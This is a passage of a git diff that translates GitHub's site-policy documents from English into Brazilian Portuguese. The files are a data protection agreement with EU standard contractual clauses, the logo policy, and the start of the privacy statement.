+    <li>As Partes concordam que, se uma das partes for considerada responsável nos termos do parágrafo (e), ela terá o direito de reclamar junto à(s) outra(s) parte(s) essa parte da compensação correspondente à sua responsabilidade pelo dano.</li>
+    <li>O importador de dados não pode invocar a conduta de um subprocessador para eximir-se a sua própria responsabilidade.</li>
 </ol>
 
-##### Clause 13
+##### Cláusula 13
 
-**Supervision**
+**Supervisão**
 
 <ol style="list-style-type:lower-alpha" class="no-styling">
-    <li>[Where the data exporter is established in an EU Member State:] The supervisory authority with responsibility for ensuring compliance by the data exporter with Regulation (EU) 2016/679 as regards the data transfer, as indicated in Annex I.C, shall act as competent supervisory authority. <br/></br>
+    <li>[Onde o exportador de dados é estabelecido em Estado-membro da UE:] A autoridade supervisora responsável pelo cumprimento da regulamentação (UE) 2016/679 relativa à transferência de dados, por parte do exportador de dados, conforme indicado no Anexo I.C, atuará como autoridade supervisora competente. <br/></br>
     [Where the data exporter is not established in an EU Member State, but falls within the territorial scope of application of Regulation (EU) 2016/679 in accordance with its Article 3(2) and has appointed a representative pursuant to Article 27(1) of Regulation (EU) 2016/679:] The supervisory authority of the Member State in which the representative within the meaning of Article 27(1) of Regulation (EU) 2016/679 is established, as indicated in Annex I.C, shall act as competent supervisory authority.</br></br>
     [Where the data exporter is not established in an EU Member State, but falls within the territorial scope of application of Regulation (EU) 2016/679 in accordance with its Article 3(2) without however having to appoint a representative pursuant to Article 27(2) of Regulation (EU) 2016/679:] The supervisory authority of one of the Member States in which the data subjects whose personal data is transferred under these Clauses in relation to the offering of goods or services to them, or whose behaviour is monitored, are located, as indicated in Annex I.C, shall act as competent supervisory authority.</li></br>    
-    <li> The data importer agrees to submit itself to the jurisdiction of and cooperate with the competent supervisory authority in any procedures aimed at ensuring compliance with these Clauses. In particular, the data importer agrees to respond to enquiries, submit to audits and comply with the measures adopted by the supervisory authority, including remedial and compensatory measures. It shall provide the supervisory authority with written confirmation that the necessary actions have been taken.</li>
+    <li> O importador de dados concorda em submeter-se à jurisdição e em cooperar com a autoridade supervisora competente em todos os procedimentos que visem a assegurar o cumprimento destas alegações. Em particular, o importador de dados concorda em responder a dúvidas, submeter-se a auditorias e cumprir as medidas adotadas pelas autoridades de supervisão, incluindo medidas corretivas e compensatórias. Ele dará à autoridade de supervisão uma confirmação escrita de que foram tomadas as medidas necessárias.</li>
 </ol>
 
-#### SECTION III – LOCAL LAWS AND OBLIGATIONS IN CASE OF ACCESS BY PUBLIC AUTHORITIES
+#### SEÇÃO III – LEGISLAÇÃO LOCAL E OBLIGAÇÕES EM CASO DE ACESSO POR AUTORIDADES PÚBLICAS
 
-##### Clause 14
+##### Cláusula 14
 
-**Local laws and practices affecting compliance with the Clauses**
+**Leis e práticas locais que afetam o cumprimento das cláusulas**
 
 <ol style="list-style-type:lower-alpha" class="no-styling">
-    <li>The Parties warrant that they have no reason to believe that the laws and practices in the third country of destination applicable to the processing of the personal data by the data importer, including any requirements to disclose personal data or measures authorising access by public authorities, prevent the data importer from fulfilling its obligations under these Clauses. This is based on the understanding that laws and practices that respect the essence of the fundamental rights and freedoms and do not exceed what is necessary and proportionate in a democratic society to safeguard one of the objectives listed in Article 23(1) of Regulation (EU) 2016/679, are not in contradiction with these Clauses.</li>
-    <li>The Parties declare that in providing the warranty in paragraph (a), they have taken due account in particular of the following elements:</li>
+    <li>As Partes garantem que não têm motivos para acreditar que as leis e práticas do país terceiro de destino aplicáveis ao processamento dos dados pessoais pelo importador de dados, incluindo todos os requisitos para divulgar dados pessoais ou medidas que autorizem o acesso por parte das autoridades públicas, impeça o importador de dados de cumprir as suas obrigações nos termos dessas cláusulas. Isso tem por base o entendimento de que as leis e práticas que respeitam a essência dos direitos e liberdades fundamentais e não excedem o necessário e proporcional numa sociedade democrática para salvaguardar um dos objetivos enumerados no artigo 23(1) do Regulamento (UE) 2016/679 não estão em contradição com estas cláusulas.</li>
+    <li>As Partes declaram que, ao fornecer a garantia no parágrafo (a), tiveram devidamente em conta, em particular, os elementos a seguir:</li>
     <ol style="list-style-type:lower-roman" class="no-styling">
-        <li>the specific circumstances of the transfer, including the length of the processing chain, the number of actors involved and the transmission channels used; intended onward transfers; the type of recipient; the purpose of processing; the categories and format of the transferred personal data; the economic sector in which the transfer occurs; the storage location of the data transferred;</li>
-        <li>the laws and practices of the third country of destination– including those requiring the disclosure of data to public authorities or authorising access by such authorities – relevant in light of the specific circumstances of the transfer, and the applicable limitations and safeguards <sup><a href="#safeguards">(3)</a></sup>;</li>
-        <li>any relevant contractual, technical or organisational safeguards put in place to supplement the safeguards under these Clauses, including measures applied during transmission and to the processing of the personal data in the country of destination.</li>
+        <li>as circunstâncias específicas da transferência, incluindo a duração da cadeia de processamento, o número de atores envolvidos e os canais de transmissão utilizados; transferências programadas; tipo de beneficiário; o objetivo de processar; as categorias e o formato dos dados pessoais transferidos; o setor econômico da transferência; o local de armazenamento dos dados transferidos;</li>
+        <li>as leis e práticas do país terceiro de destino – incluindo as que exigem a divulgação de dados às autoridades públicas ou a autorização de acesso por parte dessas autoridades – relevantes à luz das circunstâncias específicas da transferência, bem como as limitações e salvaguardas aplicáveis <sup><a href="#safeguards">(3)</a></sup>;</li>
+        <li>todas as salvaguardas contratuais, técnicas ou organizacionais relevantes em vigor criadas para suplementar as salvaguardas nos termos destas cláusulas, incluindo as medidas aplicadas durante a transmissão e ao processamento dos dados pessoais no país de destino.</li>
     </ol>
-    <li>The data importer warrants that, in carrying out the assessment under paragraph (b), it has made its best efforts to provide the data exporter with relevant information and agrees that it will continue to cooperate with the data exporter in ensuring compliance with these Clauses.</li>
-    <li>The Parties agree to document the assessment under paragraph (b) and make it available to the competent supervisory authority on request.</li>
-    <li>The data importer agrees to notify the data exporter promptly if, after having agreed to these Clauses and for the duration of the contract, it has reason to believe that it is or has become subject to laws or practices not in line with the requirements under paragraph (a), including following a change in the laws of the third country or a measure (such as a disclosure request) indicating an application of such laws in practice that is not in line with the requirements in paragraph (a).</li>
-    <li>Following a notification pursuant to paragraph (e), or if the data exporter otherwise has reason to believe that the data importer can no longer fulfil its obligations under these Clauses, the data exporter shall promptly identify appropriate measures (e.g. technical or organisational measures to ensure security and confidentiality) to be adopted by the data exporter and/or data importer to address the situation. The data exporter shall suspend the data transfer if it considers that no appropriate safeguards for such transfer can be ensured, or if instructed by the competent supervisory authority to do so. In this case, the data exporter shall be entitled to terminate the contract, insofar as it concerns the processing of personal data under these Clauses. If the contract involves more than two Parties, the data exporter may exercise this right to termination only with respect to the relevant Party, unless the Parties have agreed otherwise. Where the contract is terminated pursuant to this Clause, Clause 16(d) and (e) shall apply.</li>
+    <li>O importador de dados garante que, ao realizar a avaliação nos termos do parágrafo (b), fizeram o possível para fornecer informações relevantes ao exportador de dados e concorda que continuará a cooperar com o exportador de dados no sentido de assegurar a conformidade com estas cláusulas.</li>
+    <li>As Partes concordam em documentar a avaliação nos termos do parágrafo (b) e disponibilizá-la para a autoridade de controle competente mediante solicitação.</li>
+    <li>O importador de dados concorda em notificar o exportador de dados prontamente se, após ter concordado com essas cláusulas e durante a duração do contrato, tiver motivos para acreditar que está ou tornou-se sujeito a leis ou práticas que não estão de acordo com os requisitos do parágrafo (a), incluindo uma alteração das leis do país terceiro ou uma medida (como um pedido de divulgação) que indique a aplicação de tais leis, na prática, não está em conformidade com os requisitos do parágrafo (a).</li>
+    <li>Após uma notificação nos termos do parágrafo (e), ou se o exportador de dados tiver motivos para acreditar que o importador de dados não pode continuar cumprindo as suas obrigações nos termos destas cláusulas, o exportador de dados identificará prontamente medidas adequadas (por exemplo, medidas técnicas ou organizacionais para garantir a segurança e a confidencialidade) a serem adotadas pelo exportador de dados e/ou importador de dados para resolver a questão. O exportador de dados deverá suspender a transferência de dados se considerar que não é possível garantir salvaguardas adequadas para essa transferência ou se for instruído pela autoridade de supervisão competente para fazê-lo. Neste caso, o exportador de dados terá o direito de rescindir o contrato, na medida em que diz respeito ao tratamento de dados pessoais nos termos destas cláusulas. Se o contrato envolver mais de duas partes, o exportador de dados poderá exercer este direito de rescisão apenas no que se refere à Parte relevante, a menos que as Partes tenham acordado o contrário. Quando o contrato for rescindido de acordo com esta cláusula, aplicar-se-á a cláusula 16(d) e (e).</li>
 </ol>
 
-##### Clause 15
+##### Cláusula 15
 
-**Obligations of the data importer in case of access by public authorities**
+**Obrigações do importador de dados em caso de acesso por parte das autoridades públicas**
 
-**15.1 Notification**
+**15.1 Notificação**
 
 <ol style="list-style-type:lower-alpha" class="no-styling">
-    <li>The data importer agrees to notify the data exporter and, where possible, the data subject promptly (if necessary with the help of the data exporter) if it:</li>
+    <li>O importador de dados concorda em notificar prontamente o exportador de dados e, quando possível, o titular de dados (se necessário, com a ajuda do exportador de dados), se:</li>
     <ol style="list-style-type:lower-roman" class="no-styling">
-        <li>receives a legally binding request from a public authority, including judicial authorities, under the laws of the country of destination for the disclosure of personal data transferred pursuant to these Clauses; such notification shall include information about the personal data requested, the requesting authority, the legal basis for the request and the response provided; or</li>
-        <li>becomes aware of any direct access by public authorities to personal data transferred pursuant to these Clauses in accordance with the laws of the country of destination; such notification shall include all information available to the importer.</li>
+        <li>receber uma solicitação juridicamente vinculativa de uma autoridade pública, incluindo as autoridades judiciais nos termos da legislação do país de destino para divulgação de dados pessoais transferidos nos termos dessas cláusulas. Essa notificação incluirá informações sobre os dados pessoais solicitados, a autoridade solicitante, o funamento jurídico para a solicitação e a resposta fornecida; ou</li>
+        <li>tiver ciência de qualquer acesso direto por parte das autoridades públicas aos dados pessoais transferidos nos termos destas cláusulas, em conformidade com as leis do país de destino. Essa notificação incluirá todas as informações disponíveis para o importador.</li>
     </ol>
-    <li>If the data importer is prohibited from notifying the data exporter and/or the data subject under the laws of the country of destination, the data importer agrees to use its best efforts to obtain a waiver of the prohibition, with a view to communicating as much information as possible, as soon as possible. The data importer agrees to document its best efforts in order to be able to demonstrate them on request of the data exporter.</li>
-    <li>Where permissible under the laws of the country of destination, the data importer agrees to provide the data exporter, at regular intervals for the duration of the contract, with as much relevant information as possible on the requests received (in particular, number of requests, type of data requested, requesting authority/ies, whether requests have been challenged and the outcome of such challenges, etc.). </li>
-    <li>The data importer agrees to preserve the information pursuant to paragraphs (a) to (c) for the duration of the contract and make it available to the competent supervisory authority on request.</li>
-    <li>Paragraphs (a) to (c) are without prejudice to the obligation of the data importer pursuant to Clause 14(e) and Clause 16 to inform the data exporter promptly where it is unable to comply with these Clauses.</li>
+    <li>Se o importador de dados estiver proibido de notificar o exportador de dados e/ou o titular de acordo com as leis do país de destino, o importador de dados concorda em fazer o possível para obter uma derrogação da proibição, com vista a comunicar o máximo de informação possível, o mais rapidamente possível. O importador de dados concorda em documentar os seus melhores esforços, a fim de poder demonstrá-los, mediante solicitação do exportador de dados.</li>
+    <li>Quando permitido de acordo com as leis do país de destino, o importador de dados concorda em fornecer ao exportador de dados, a intervalos regulares durante a duração do contrato, o máximo possível de informações relevantes sobre as solicitações recebidas (em particular, número de pedidos, tipo de dados solicitados, autoridades soliciantes, se as solicitações foram contestadas, o resultado de tais contestações, etc.). </li>
+    <li>O importador de dados concorda em preservar as informações nos termos dos parágrafos (a) a (c) durante a duração do contrato e disponibilizá-las à autoridade de supervisão competente, mediante solicitação.</li>
+    <li>Os parágrafos (a) a (c) não não invalidam a obrigação do importador de dados nos termos da Cláusula 14(e) e da Cláusula 16 de informar prontamente o exportador de dados sempre que este não puder cumprir essas alegações.</li>
 </ol>
 
 **15.2 Revisão da legalidade e minimização de dados**
@@ -602,22 +602,22 @@ Data subjects include the data exporter’s representatives and end-users includ
 
 _Categories of personal data transferred:_
 
-The personal data transferred that is included in e-mail, documents and other data in an electronic form in the context of the Online Services or Professional Services. GitHub acknowledges that, depending on Customer’s use of the Online Service or Professional Services, Customer may elect to include personal data from any of the following categories in the personal data:
-- Basic personal data (for example place of birth, street name and house number (address), postal code, city of residence, country of residence, mobile phone number, first name, last name, initials, email address, gender, date of birth);
-- Authentication data (for example user name, password or PIN code, security question, audit trail);
-- Contact information (for example addresses, email, phone numbers, social media identifiers; emergency contact details);
-- Unique identification numbers and signatures (for example IP addresses, employee number, student number);
-- Pseudonymous identifiers;
-- Photos, video and audio;
-- Internet activity (for example browsing history, search history, reading and viewing activities);
-- Device identification (for example IMEI-number, SIM card number, MAC address);
+Os dados pessoais transferidos incluídos no e-mail, documentos e outros dados de forma electrônica no contexto dos Serviços On-line ou dos Serviços Profissionais. O GitHub reconhece que, dependendo do uso do Cliente do Serviço On-line ou Serviços Profissionais, o Cliente pode optar por incluir dados pessoais de qualquer uma das seguintes categorias nos dados pessoais:
+- Dados pessoais básicos (por exemplo, local de nascimento, nome da rua e número da casa (endereço), código postal, cidade de residência, país de residência, número de celular, nome, sobrenome, iniciais, endereço de e-mail, gênero, data de nascimento);
+- Dados de autenticação (por exemplo, nome de usuário, senha ou código PIN, pergunta de segurança, trilha de auditoria);
+- Informações de contato (por exemplo, endereços, e-mail, números de telefone, identificadores de redes sociais; detalhes de contato de emergência);
+- Números de identificação únicos e assinaturas (por exemplo, endereços IP, número de funcionário, número de aluno);
+- Identificadores de pseudônimos;
+- Fotos, vídeos e áudio;
+- Atividade na internet (por exemplo, histórico de navegação, histórico de pesquisa, atividade de leitura e visualização);
+- Identificação do dispositivo (por exemplo, número IMEI, número do cartão SIM, endereço MAC);
 - Profiling (for example based on observed criminal or anti-social behavior or pseudonymous profiles based on visited URLs, click streams, browsing logs, IP-addresses, domains, apps installed, or profiles based on marketing preferences);
-- Special categories of data as voluntarily provided by data subjects (for example racial or ethnic origin, political opinions, religious or philosophical beliefs, trade union membership, genetic data, biometric data for the purpose of uniquely identifying a natural person, data concerning health, data concerning a natural person’s sex life or sexual orientation, or data relating to criminal convictions or offences); or
-- Any other personal data identified in Article 4 of the GDPR.
+- Categorias especiais de dados, conforme fornecidas de modo voluntário pelos titulares de dados (por exemplo, raça ou origem étnica, opiniões políticas, crenças religiosas ou filosóficas, associações sindicais, dados genéticos, dados biométricos para a identificação única de uma pessoa natural, dados relativos à saúde dados relativos à vida sexual ou à orientação sexual de uma pessoa física ou a dados relacionados a condenações ou delitos criminosos); ou
+- Todos os outros dados pessoais identificados no artigo 4 do RGPD.
 
-_**Sensitive data** transferred (if applicable) and applied restrictions or safeguards that fully take into consideration the nature of the data and the risks involved, such as for instance strict purpose limitation, access restrictions (including access only for staff having followed specialised training), keeping a record of access to the data, restrictions for onward transfers or additional security measures:_ </br> GitHub does not request or otherwise ask for sensitive data and receives such data only if and when customers or data subjects decide to provide it.
+_**Dados confidenciais** transferidos (se aplicável) e restrições aplicadas ou salvaguardas que levam totalmente em consideração a natureza dos dados e os riscos envolvidos como, por exemplo, limitação estrita de propósito, restrições de acesso (incluindo acesso apenas para funcionários que tenham seguido o treinamento especializado), manutenção de um registro de acesso aos dados restrições para transferências ou medidas de segurança adicionais:_ </br> O GitHub não solicita ou de outra forma pede dados confidenciais e recebe tais dados apenas se e quando clientes ou dados que decidirem fornecê-los.
 
-_**The frequency of the transfer** (e.g. whether the data is transferred on a one-off or continuous basis):_
+_**A frequência da transferência** (por exemplo, se os dados são transferidos de forma única ou contínua):_
 
 Continuous as part of the Online Services or Professional Services.
 
@@ -857,18 +857,18 @@ As partes comprometem-se a não alterar as Cláusulas. Isso não impede que as p
 - Users and other data subjects that are users of data exporter's services;
 - Partners, stakeholders or individuals who actively collaborate, communicate or otherwise interact with employees of the data exporter and/or use communication tools such as apps and websites provided by the data exporter.
 
-**Categories of data**: The personal data transferred that is included in e-mail, documents and other data in an electronic form in the context of the Online Services or Professional Services. GitHub acknowledges that, depending on Customer’s use of the Online Service or Professional Services, Customer may elect to include personal data from any of the following categories in the personal data:
-- Basic personal data (for example place of birth, street name and house number (address), postal code, city of residence, country of residence, mobile phone number, first name, last name, initials, email address, gender, date of birth);
-- Authentication data (for example user name, password or PIN code, security question, audit trail);
-- Contact information (for example addresses, email, phone numbers, social media identifiers; emergency contact details);
-- Unique identification numbers and signatures (for example IP addresses, employee number, student number);
-- Pseudonymous identifiers;
-- Photos, video and audio;
-- Internet activity (for example browsing history, search history, reading and viewing activities);
-- Device identification (for example IMEI-number, SIM card number, MAC address);
+**Categories of data**: The personal data transferred that is included in e-mail, documents and other data in an electronic form in the context of the Online Services or Professional Services. O GitHub reconhece que, dependendo do uso do Cliente do Serviço On-line ou Serviços Profissionais, o Cliente pode optar por incluir dados pessoais de qualquer uma das seguintes categorias nos dados pessoais:
+- Dados pessoais básicos (por exemplo, local de nascimento, nome da rua e número da casa (endereço), código postal, cidade de residência, país de residência, número de celular, nome, sobrenome, iniciais, endereço de e-mail, gênero, data de nascimento);
+- Dados de autenticação (por exemplo, nome de usuário, senha ou código PIN, pergunta de segurança, trilha de auditoria);
+- Informações de contato (por exemplo, endereços, e-mail, números de telefone, identificadores de redes sociais; detalhes de contato de emergência);
+- Números de identificação únicos e assinaturas (por exemplo, endereços IP, número de funcionário, número de aluno);
+- Identificadores de pseudônimos;
+- Fotos, vídeos e áudio;
+- Atividade na internet (por exemplo, histórico de navegação, histórico de pesquisa, atividade de leitura e visualização);
+- Identificação do dispositivo (por exemplo, número IMEI, número do cartão SIM, endereço MAC);
 - Profiling (for example based on observed criminal or anti-social behavior or pseudonymous profiles based on visited URLs, click streams, browsing logs, IP-addresses, domains, apps installed, or profiles based on marketing preferences);
-- Special categories of data as voluntarily provided by data subjects (for example racial or ethnic origin, political opinions, religious or philosophical beliefs, trade union membership, genetic data, biometric data for the purpose of uniquely identifying a natural person, data concerning health, data concerning a natural person’s sex life or sexual orientation, or data relating to criminal convictions or offences); or
-- Any other personal data identified in Article 4 of the GDPR.
+- Categorias especiais de dados, conforme fornecidas de modo voluntário pelos titulares de dados (por exemplo, raça ou origem étnica, opiniões políticas, crenças religiosas ou filosóficas, associações sindicais, dados genéticos, dados biométricos para a identificação única de uma pessoa natural, dados relativos à saúde dados relativos à vida sexual ou à orientação sexual de uma pessoa física ou a dados relacionados a condenações ou delitos criminosos); ou
+- Todos os outros dados pessoais identificados no artigo 4 do RGPD.
 
 **Processing operations**: The personal data transferred will be subject to the following basic processing activities:
 
diff --git a/translations/pt-BR/content/github/site-policy/github-logo-policy.md b/translations/pt-BR/content/github/site-policy/github-logo-policy.md
index ec874245e8..862caa3377 100644
--- a/translations/pt-BR/content/github/site-policy/github-logo-policy.md
+++ b/translations/pt-BR/content/github/site-policy/github-logo-policy.md
@@ -1,5 +1,5 @@
 ---
-title: GitHub Logo Policy
+title: Política de logo do GitHub
 redirect_from:
   - /articles/i-m-developing-a-third-party-github-app-what-do-i-need-to-know
   - /articles/using-an-octocat-to-link-to-github-or-your-github-profile
@@ -11,6 +11,6 @@ topics:
   - Legal
 ---
 
-You can add {% data variables.product.prodname_dotcom %} logos to your website or third-party application in some scenarios. For more information and specific guidelines on logo usage, see the [{% data variables.product.prodname_dotcom %} Logos and Usage page](https://github.com/logos).
+Você pode adicionar as logos {% data variables.product.prodname_dotcom %} em seu website ou em aplicativos de terceiros em alguns casos. Para mais informações e diretrizes específicas sobre o uso da logomarca, visite a [{% data variables.product.prodname_dotcom %} página de Logos e Usos](https://github.com/logos).
 
-You can also use an octocat as your personal avatar or on your website to link to your {% data variables.product.prodname_dotcom %} account, but not for your company or a product you're building. {% data variables.product.prodname_dotcom %} has an extensive collection of octocats in the [Octodex](https://octodex.github.com/). For more information on using the octocats from the Octodex, see the [Octodex FAQ](https://octodex.github.com/faq/).
+Você também pode usar um octocat como seu avatar pessoal ou em seu website para linkar para sua {% data variables.product.prodname_dotcom %} conta, mas não para sua empresa ou para um produto que você esteja criando. {% data variables.product.prodname_dotcom %} possui uma vasta coleção de octocats no [Octodex](https://octodex.github.com/). Para mais informações de como usar os octocats do Octodex, veja as [Perguntas Frequentes Octodex](https://octodex.github.com/faq/).
diff --git a/translations/pt-BR/content/github/site-policy/github-privacy-statement.md b/translations/pt-BR/content/github/site-policy/github-privacy-statement.md
index a9ce688a7e..966dcac926 100644
--- a/translations/pt-BR/content/github/site-policy/github-privacy-statement.md
+++ b/translations/pt-BR/content/github/site-policy/github-privacy-statement.md
@@ -1,5 +1,5 @@
 ---
-title: GitHub Privacy Statement
+title: Declaração de Privacidade do GitHub
 redirect_from:
   - /privacy
   - /privacy-policy
@@ -14,329 +14,329 @@ topics:
   - Legal
 ---
 
-Effective date: December 19, 2020
+Data de vigência: 19 de dezembro de 2020
 
-Thanks for entrusting GitHub Inc. (“GitHub”, “we”) with your source code, your projects, and your personal information. Holding on to your private information is a serious responsibility, and we want you to know how we're handling it.
+Agradecemos por confiar seu código-fonte, seus projetos e suas informações pessoais à GitHub Inc. (“GitHub” ou “nós”). Manter suas informações pessoais em segurança é uma responsabilidade que levamos a sério, e queremos mostrar como fazemos esse trabalho.
 
-All capitalized terms have their definition in [GitHub’s Terms of Service](/github/site-policy/github-terms-of-service), unless otherwise noted here.
+Todos os termos em maiúsculas estão definidos nos [Termos de Serviço do GitHub](/github/site-policy/github-terms-of-service), salvo observações em contrário.
 
 
-## The short version
+## Resumo
 
-We use your personal information as this Privacy Statement describes. No matter where you are, where you live, or what your citizenship is, we provide the same high standard of privacy protection to all our users around the world, regardless of their country of origin or location.
+Usamos suas informações pessoais conforme descrito nesta Declaração de Privacidade. Não importa onde estiver, onde morar, ou qual for a sua cidadania, fornecemos os mesmos elevados padrões de proteção da privacidade a todos os nossos usuários em todo o mundo, independentemente do seu país de origem ou localização.
 
-Of course, the short version and the Summary below don't tell you everything, so please read on for more details.
+Esta é uma versão resumida das nossas diretrizes. Para obter as informações completas, continue a leitura desta página.
 
-## Summary
+## Sumário
 
-| Section | What can you find there? |
-|---|---|
-| [What information GitHub collects](#what-information-github-collects) | GitHub collects information directly from you for your registration, payment, transactions, and user profile. We also automatically collect from you your usage information, cookies, and device information, subject, where necessary, to your consent. GitHub may also collect User Personal Information from third parties. We only collect the minimum amount of personal information necessary from you, unless you choose to provide more. |
-| [What information GitHub does _not_ collect](#what-information-github-does-not-collect) | We don’t knowingly collect information from children under 13, and we don’t collect [Sensitive Personal Information](https://gdpr-info.eu/art-9-gdpr/). |
-| [How GitHub uses your information](#how-github-uses-your-information) | In this section, we describe the ways in which we use your information, including to provide you the Service, to communicate with you, for security and compliance purposes, and to improve our Service. We also describe the legal basis upon which we process your information, where legally required. |
-| [How we share the information we collect](#how-we-share-the-information-we-collect) | We may share your information with third parties under one of the following circumstances: with your consent, with our service providers, for security purposes, to comply with our legal obligations, or when there is a change of control or sale of corporate entities or business units. We do not sell your personal information and we do not host advertising on GitHub. You can see a list of the service providers that access your information. |
-| [Other important information](#other-important-information) | We provide additional information specific to repository contents, public information, and Organizations on GitHub. |
-| [Additional services](#additional-services) | We provide information about additional service offerings, including third-party applications, GitHub Pages, and GitHub applications. |
-| [How you can access and control the information we collect](#how-you-can-access-and-control-the-information-we-collect) | We provide ways for you to access, alter, or delete your personal information. |
-| [Our use of cookies and tracking](#our-use-of-cookies-and-tracking) | We only use strictly necessary cookies to provide, secure and improve our service. We offer a page that makes this very transparent. Please see this section for more information. |
-| [How GitHub secures your information](#how-github-secures-your-information) | We take all measures reasonably necessary to protect the confidentiality, integrity, and availability of your personal information on GitHub and to protect the resilience of our servers. |
-| [GitHub's global privacy practices](#githubs-global-privacy-practices) | We provide the same high standard of privacy protection to all our users around the world. |
-| [How we communicate with you](#how-we-communicate-with-you) | We communicate with you by email. You can control the way we contact you in your account settings, or by contacting us. |
-| [Resolving complaints](#resolving-complaints) | In the unlikely event that we are unable to resolve a privacy concern quickly and thoroughly, we provide a path of dispute resolution. |
-| [Changes to our Privacy Statement](#changes-to-our-privacy-statement) | We notify you of material changes to this Privacy Statement 30 days before any such changes become effective. You may also track changes in our Site Policy repository. |
-| [License](#license) | This Privacy Statement is licensed under the [Creative Commons Zero license](https://creativecommons.org/publicdomain/zero/1.0/). |
-| [Contacting GitHub](#contacting-github) | Please feel free to contact us if you have questions about our Privacy Statement. |
-| [Translations](#translations) | We provide links to some translations of the Privacy Statement. |
+| Seção                                                                                                                   | Conteúdo                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| ----------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| [Que tipo de informação o GitHub coleta](#what-information-github-collects)                                             | O GitHub coleta informações diretamente de você para fins de registro, pagamento, transações e perfil de usuário. Também coletamos automaticamente cookies e informações do dispositivo das suas informações de uso, sujeito, quando necessário, ao seu consentimento. O GitHub também pode coletar Informações Pessoais de Usuário de terceiros. Coletamos somente a quantidade mínima de informações pessoais necessárias de você, a menos que você decida compartilhar mais informações. |
+| [Que tipo de informação o GitHub _não_ coleta](#what-information-github-does-not-collect)                               | Não coletamos informações de crianças com menos de 13 anos nem coletamos [Informações Pessoais Confidenciais](https://gdpr-info.eu/art-9-gdpr/).                                                                                                                                                                                                                                                                                                                                            |
+| [Como o GitHub usa suas informações](#how-github-uses-your-information)                                                 | Nesta seção, descrevemos as formas como usamos suas informações, inclusive para fornecer o Serviço, para nos comunicarmos com você, para fins de segurança e conformidade, e para melhorar nosso Serviço. A seção também descreve a base jurídica na qual processamos suas informações quando tal processamento for exigido por lei.                                                                                                                                                        |
+| [Como compartilhamos as informações obtidas](#how-we-share-the-information-we-collect)                                  | Podemos compartilhar suas informações com terceiros diante de uma das seguintes circunstâncias: com seu consentimento, com nossos prestadores de serviços para fins de segurança, para cumprir as nossas obrigações legais, ou quando houver mudança de controle ou venda de entidades corporativas ou unidades de negócios. Não vendemos suas informações pessoais e não hospedamos anúncios no GitHub. Consulte uma lista de prestadores de serviços que acessam suas informações.        |
+| [Outras informações importantes](#other-important-information)                                                          | Oferecemos informações adicionais específicas relacionadas a conteúdo de repositórios, informações públicas e Organizações no GitHub.                                                                                                                                                                                                                                                                                                                                                       |
+| [Serviços adicionais](#additional-services)                                                                             | Oferecemos informações sobre ofertas de serviço adicionais, inclusive aplicativos de terceiros, GitHub Pages e aplicativos do GitHub.                                                                                                                                                                                                                                                                                                                                                       |
+| [Como você pode acessar e controlar as informações obtidas](#how-you-can-access-and-control-the-information-we-collect) | Propomos algumas medidas para você acessar, alterar ou excluir suas informações pessoais.                                                                                                                                                                                                                                                                                                                                                                                                   |
+| [Uso de cookies e rastreamento](#our-use-of-cookies-and-tracking)                                                       | Nós só usamos cookies estritamente necessários para fornecer, proteger e melhorar nosso serviço. Temos uma página que torna o processo bastante transparente. Veja mais detalhes nesta seção.                                                                                                                                                                                                                                                                                               |
+| [Como o GitHub protege suas informações](#how-github-secures-your-information)                                          | Tomamos todas as medidas razoavelmente necessárias para proteger a confidencialidade, a integridade e a disponibilidade das suas informações pessoais no GitHub e para proteger a resiliência dos nossos servidores.                                                                                                                                                                                                                                                                        |
+| [Práticas globais de privacidade do GitHub](#githubs-global-privacy-practices)                                          | Fornecemos os mesmos altos padrões de proteção de privacidade a todos os nossos usuários em todo o mundo.                                                                                                                                                                                                                                                                                                                                                                                   |
+| [Nossa comunicação com você](#how-we-communicate-with-you)                                                              | Nossa comunicação com você ocorrerá por e-mail. É possível controlar os nossos meios de contato com você nas configurações da sua conta.                                                                                                                                                                                                                                                                                                                                                    |
+| [Resolução de conflitos](#resolving-complaints)                                                                         | Na hipótese improvável de sermos incapazes de resolver um problema de privacidade de dados de forma rápida e detalhada, indicaremos um caminho para a resolução de litígios.                                                                                                                                                                                                                                                                                                                |
+| [Mudanças nesta Declaração de Privacidade](#changes-to-our-privacy-statement)                                           | Você receberá notificações sobre mudanças concretas nesta Declaração de Privacidade 30 dias antes de tais mudanças entrarem em vigor. Também é possível acompanhar as mudanças no nosso repositório da Política do Site.                                                                                                                                                                                                                                                                    |
+| [Licença](#license)                                                                                                     | Esta Declaração de Privacidade é licenciada sob a [licença Creative Commons Zero](https://creativecommons.org/publicdomain/zero/1.0/).                                                                                                                                                                                                                                                                                                                                                      |
+| [Contato com a GitHub](#contacting-github)                                                                              | Entre em contato em caso de dúvidas sobre a nossa Declaração de Privacidade.                                                                                                                                                                                                                                                                                                                                                                                                                |
+| [Traduções](#translations)                                                                                              | Acesse os links para consultar algumas traduções da Declaração de Privacidade.                                                                                                                                                                                                                                                                                                                                                                                                              |
 
-## GitHub Privacy Statement
+## Declaração de Privacidade do GitHub
 
-## What information GitHub collects
+## Que tipo de informação o GitHub coleta
 
-"**User Personal Information**" is any information about one of our Users which could, alone or together with other information, personally identify them or otherwise be reasonably linked or connected with them. Information such as a username and password, an email address, a real name, an Internet protocol (IP) address, and a photograph are examples of “User Personal Information.”
+"**Informações Pessoais de Usuário**" consistem em qualquer informação pessoal sobre um dos nossos Usuários, podendo identificá-los pessoalmente ou estarem vinculadas a eles. Informações como nome de usuário e senha, endereço de e-mail, nome real, protocolo Internet (endereço IP) e foto são exemplos de "Informações Pessoais de Usuário".
 
-User Personal Information does not include aggregated, non-personally identifying information that does not identify a User or cannot otherwise be reasonably linked or connected with them. We may use such aggregated, non-personally identifying information for research purposes and to operate, analyze, improve, and optimize our Website and Service.
+As Informações Pessoais de Usuário não incluem informações agregadas nem informações não pessoais identificáveis que não identifiquem o Usuário ou que não possam ser razoavelmente vinculadas ou relacionadas ao Usuário. Podemos usar tais informações agregadas e não pessoais identificáveis para fins de pesquisa e para operar, analisar, melhorar e otimizar nossos Site e Serviços.
 
-### Information users provide directly to GitHub
+### Informações enviadas pelos usuários diretamente ao GitHub
 
-#### Registration information
-We require some basic information at the time of account creation. When you create your own username and password, we ask you for a valid email address.
+#### Informações de registro
+Solicitaremos algumas informações básicas no momento de criação da conta. Quando você criar seu próprio nome de usuário e senha, solicitaremos um endereço de e-mail válido.
 
